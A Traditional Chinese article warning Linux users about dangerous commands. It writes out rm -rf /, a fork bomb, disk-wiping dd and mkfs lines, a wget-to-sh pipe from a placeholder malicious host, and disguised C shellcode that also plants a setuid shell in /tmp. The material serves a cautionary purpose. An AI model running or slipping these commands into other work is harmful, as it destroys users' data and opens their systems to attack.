這裡蒐集了一些在 Linux 系統上比較具有危險性的指令,使用時要多加注意。
Linux 可以透過指令做很多事情,許多資深的 Linux 使用者甚至都只用指令在工作,而不使用圖形化的介面,善用 Linux 的指令的確可以讓您的生活更輕鬆。
雖然 Linux 的指令很強大,但是有一些指令卻是具有危險性的,以下我們介紹幾個需要特別注意的指令,並不是說它們不可以執行,只是在您執行之前,請經過再三確認後,否則後果可能不堪設想。
rm
刪除檔案指令rm -rf
是用來遞迴刪除檔案與目錄的指令,這個應該是最常被 Linux 使用者誤用的指令,有時候不小心下錯指令,就會造成誤刪檔案的問題,特別是在使用管理者(root
)權限時,請不要隨便執行以下這幾種指令:
rm -rf /
:刪除整個根目錄以下的所有檔案與目錄,也就是把整個系統都刪除了。rm -rf *
:刪除目前目錄以下的所有檔案與目錄。rm -rf .
:刪除目前目錄以及目前目錄以下的所有檔案與目錄。如果您想要多做一些防護措施,避免自己打錯指令而誤刪檔案,可以在 ~/.bashrc
中加入一個 alias:
alias rm='rm -i'
這樣每次 rm
在真正刪除檔案之前,都會先進行確認,例如刪除一個 test.txt
檔案:
rm test.txt
如果有設定這個 alias 的話,就會出現這樣的訊息:
rm:是否移除普通檔案‘test.txt’?
輸入 y
並按下 Enter 鍵之後,才會實際刪除檔案,這樣可以減低誤刪檔案的機會,但是這個方法並不適用於加上 -f
參數的狀況,縱使設定了這個 alias,您還是要小心注意自己的指令。
Fork 炸彈是透過定義一個名為 :
的函數,並且不斷的遞迴呼叫自己,直到系統滿載並且當機。
:(){:|:&};:
這個指令平常沒有什麼實質用處,只有在測試系統時可能會用到而已。
這個指令會將 COMMAND
執行的輸出導到第一顆硬碟中(/dev/sda
)
COMMAND > /dev/sda
不管這裡的 COMMAND
是什麼指令,這樣做都會造成整顆硬碟的資料被刪除。
當然這是要在使用管理者權限時,才會出現的危險,一般使用者並沒有直接寫入 /dev/sda
的權限,就沒有這個問題。
這個指令會從網路上下載指令稿,並且直接執行它:
wget http://malicious_source -O- | sh
wget
下載下來的東西,直接透過管線(pipe)丟給 sh
執行,除非您很確定這個網址上面的東西是安全的,否則別這麼做,萬一執行到惡意程式就麻煩了。
這個指令會將第一顆硬碟格式化:
mkfs.ext3 /dev/sda
硬碟格式化之後,所有的資料就會被刪除,這應該是大家都知道的,嚴格說來這也不是什麼危險指令,通常新的硬碟都會做這個動作,只是使用時要小心一點,別下錯指令,或是弄做顆硬碟。
這個指令會將 file.txt
檔案內容清空:
> file.txt
由於它的指令非常簡短,比較容易不小心就打錯,所以在使用時要小心,否則清了不該清的設定檔就糟糕了。
dd
指令這個指令會將硬碟的資料刪除,並替換為亂數的垃圾資料:
dd if=/dev/random of=/dev/sda
這個指令大概只有在報廢硬碟之前會用到,其他的時候應該都不會這樣用。
下面這段 C 語言的程式碼中,隱藏了一個 rm -rf
指令:
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
如果將其編譯後再執行,他會刪掉根目錄下面所有的檔案,但是從表面上看不出來都的危險性,所以如果從網路上下載一些程式時,都要自己注意一下來源是否可以信任,不要隨便編譯與執行來路不明的程式。
參考資料:Tecmint